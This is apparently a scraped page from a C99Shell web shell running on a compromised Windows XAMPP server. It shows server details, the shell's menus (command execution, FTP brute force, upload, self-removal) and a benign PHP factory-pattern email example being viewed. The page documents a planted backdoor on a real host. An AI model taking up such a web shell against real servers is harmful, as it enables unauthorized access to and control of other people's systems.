!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\jaime\Xcode\DesignPatterns\   drwxrwxrwx
Free 7.27 GB of 239.26 GB (3.04%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     2.php (2.13 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
* Base factory class
*/
class EmailFactory {
    function 
getBody($text) {
        
// Abstract Factory Method
    
}
}
/**
* Factory for plain text emails
*/
class TextEmailFactory extends EmailFactory {
    function 
getBody($text) {
        return new 
TextBody($text);
    }
}
/**
* Factory for HTML emails
*/
class HtmlEmailFactory extends EmailFactory {
    function 
getBody($text) {
        return new 
HtmlBody($text);
    }
}
/**
* The class created by TextEmailFactory::getBody()
*/
class TextBody {
    var 
$text;
    function 
TextBody($text) {
        
$this->text $text;
    }
}
/**
* The class created by HtmlEmailFactory::getBody()
*/
class HtmlBody {
    var 
$text;
    function 
HtmlBody($text) {
        
$this->text $text;
    }
}
/**
* Class which "sends" and email
*/
class EmailSender {
    function 
sendMessage($email,$body) {
        echo ( 
"Sending email to $email with a ".get_class($body).'<br>' );
    }
}

// A dummy array of customers to send emails to
$customers = array (
    array (
'email'=>'jbloggs@yahoo.com','emailpreferred'=>'html'),
    array (
'email'=>'jleno@cnn.com','emailpreferred'=>'text'),
    array (
'email'=>'aleegator@reptiles.com','emailpreferred'=>'html')
);

// The HTML and plain text versions of the email
$htmltext 'This is an <em>HTML Message</em>';
$plaintext 'This is plain text';

// Create the sender
$sender =& new EmailSender();

// Loop through the customers
foreach ( $customers as $customer ) {
    
// Decide which factory class to create
    
switch ( $customer['emailpreferred'] ) {
        case 
'html':
            
// Create the factory
            
$factory = & new HtmlEmailFactory();
            
// Call the factory method
            
$body = & $factory->getBody($htmltext);
            break;
        case 
'text':
        default:
            
// Create the factory
            
$factory = & new TextEmailFactory();
            
// Call the factory method
            
$body = & $factory->getBody($plaintext);
            break;
    }
    
// "Send" the message
    
$sender->sendMessage($customer['email'],$body);
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0624 ]--